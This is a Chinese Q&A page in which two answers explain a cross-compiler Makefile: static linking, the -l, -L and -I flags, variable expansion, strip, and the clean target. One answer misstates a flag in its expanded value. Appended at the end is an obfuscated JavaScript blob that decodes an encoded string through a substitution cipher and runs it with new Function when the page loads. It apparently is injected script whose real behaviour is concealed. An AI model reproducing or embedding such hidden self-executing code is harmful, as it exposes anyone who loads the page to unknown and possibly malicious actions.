关于Makefile文件的一系列问题

2025-03-14 10:55:52
推荐回答(2个)
回答(1):

1  -static 这个选项,当gcc连接库的时候,如果同时存在静态库和共享库,默认是连接共享库,而指定了-static 就优先连接静态库。



2 WEC_LDFLAGS=-I$(LIB) -I$(LIB1) 这是一句字符串展开替换,然后赋值给WEC_LDFLAGS,就类似于sprintf(WEC_LDFLAGS, "-l%s -l%s" , LIB, LIB1);  这种语法在makefile里面很常用。其实CC=arm-linux-gcc -O2 -I$(INC) -I$(INC1)   -static 和这句的道理是一样的,都是展开替换。



3 LIBS= -lpthread -lc -lgcc -liconv -lfreetype -lpng -lz -lm -ljpeg -lgif 这句是什么意思,这句是你这个makefile,连接时所有库的选项。可以把它看成一个字符串,(其实makefile里面定义这些变量,都是字符串)这里定义的LIBS变量的具体用处下面再说。至于你问的-l和-L的区别 -llibrary指定连接某一个库,-Ldir指定连接时搜索库的路径;比如你自己的库,或者下载的第三方库,不然编译器将只在标准库的目录找,这个dir就是目录的名称。而-I(大写i)指定了编译时的头文件搜索目录。


all:
$(CC) $(WEC_LDFLAGS) $(SRCS) -o $(TARGET) $(LIBS)
 //$(LIBS)这个干嘛的?

这句才是makefile的核心 这种target:语法,是定义了一个工作目标。

all:是make默认的工作目标,它干了些啥呢

首先 $(CC) 展开了这个变量CC=arm-linux-gcc -O2 -I$(INC) -I$(INC1)   -static 其实就是调用gcc的命令行字符串。

然后 $(WEC_LDFLAGS)展开了这个变量WEC_LDFLAGS=-I$(LIB) -I$(LIB1) 其实是指定了库目录,我猜你抄错了吧这里看着就应该是-L$(LIB) -L$(LIB1)

然后 $(SRCS)展开了源文件tom_ACDC.c uart_control.c lcm.c font.c touch.c control.c database.c communication.c filesystem.c rtc.c gprs.c

然后 $(TARGET)展开了编译目标 tom_ACDC_02

然后 $(LIBS) 展开需要连接的单个库,到此,工作目标的第一个命令行字符串就构造完毕了

这行$(CC) $(WEC_LDFLAGS) $(SRCS) -o $(TARGET) $(LIBS)就等价于运行一个shell命令:

arm-linux-gcc -O2 -I$(INC) -I$(INC1)   -static -L/usr/local/arm_linux_4.2/lib/gcc/arm-linux/4.2.1
) -L/usr/local/arm_linux_4.2/arm-linux/lib tom_ACDC.c uart_control.c lcm.c font.c touch.c control.c database.c communication.c filesystem.c rtc.c gprs.c -o tom_ACDC_02 -lpthread -lc -lgcc -liconv -lfreetype -lpng -lz -lm -ljpeg -lgif 这就是展开后实际运行的命令,分开定义然后展开是为了方便大家扩展,和维护,要是不这样,直接给你写这么长一串东西,谁看了都得晕。



5

$(STRIP) $(TARGET)
//这句什么意思?

这句其实是工作目标all的第二行命令

展开后其实很简单就是arm-linux-strip tom_ACDC_02

这句的用处就是在4里面命令编译连接生成目标文件tom_ACDC_02后,再调用arm-linux-strip来去掉目标文件中的调试信息,减小文件大小。



6

clean:
rm -f *.o
......
rm -f *.gdb
//为什么要清除这些呢? 源文件都没有的。

这里,clean是这个makefile的第二个工作目标,这个工作目标平时是不执行的

只有你在用make clean这样来运行make的时候才会执行这个工作目标,也很简单就是单纯的清除中间文件而已。

GUNmake太博大精深了,是可以用一辈子的东西,如果要深入了解,你可以研习附件里面的GNUmake的教程。


回答(2):

CC=arm-linux-gcc -O2 -I$(INC) -I$(INC1) -static
//这句什么意思? -static是什么意思?
-static是gcc的一个编译选项 在编译过程中对动态链接不进行链接 其官方解释为
Do not link against shared libraries

WEC_LDFLAGS=-I$(LIB) -I$(LIB1)
//怎么可以等两个路径的?两个路径之间不是用“:”分开的吗?
makefile的变量定义 在这个赋值之后 WEC_LDFLAGS的值为
-l/usr/local/arm_linux_4.2/lib/gcc/arm-linux/4.2.1 -l/usr/local/arm_linux_4.2/arm-linux/lib

这个是要用在编译中的 也就是arm-linux-gcc的编译选项之一 不需要加冒号分隔 而是要求空格分隔

LIBS= -lpthread -lc -lgcc -liconv -lfreetype -lpng -lz -lm -ljpeg -lgif
//这句什么意思?怎么等这么多的? -l和-L和-I有什么区别?
-l是引入动态链接库 -lxxx定义后 编译的时候会把对应的libxxx.so引入
-L是指定库的路径,也就是说会在-L的文件夹中去寻找库文件

$(CC) $(WEC_LDFLAGS) $(SRCS) -o $(TARGET) $(LIBS)
//$(LIBS)这个干嘛的?
这个就是引入动态链接库啦 就像上面说的一样
其实上面的所有都是i定义变量 这句才是真正其效果的
换句话说 把上面所有变量替换到这里 把makefile只写几行 效果一样 不过看要看吐血了,而且也不易于维护

$(STRIP) $(TARGET)
//这句什么意思?
调用arm-linux-strip 把target中的所有调试信息去掉。不影响可执行程序功能 但是可以大幅度减少该文件的大小

clean:
rm -f *.o
rm -f *.x
rm -f *.flat
rm -f *.map
rm -f temp
rm -f *.img
rm -f $(TARGET)
rm -f *.gdb
//为什么要清除这些呢? 源文件都没有的。
clean的效果就是删除所有编译过程中生成的中间文件以及目标文件
一个完全的clean就是把整个工作环境恢复到没有执行编译前的效果

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();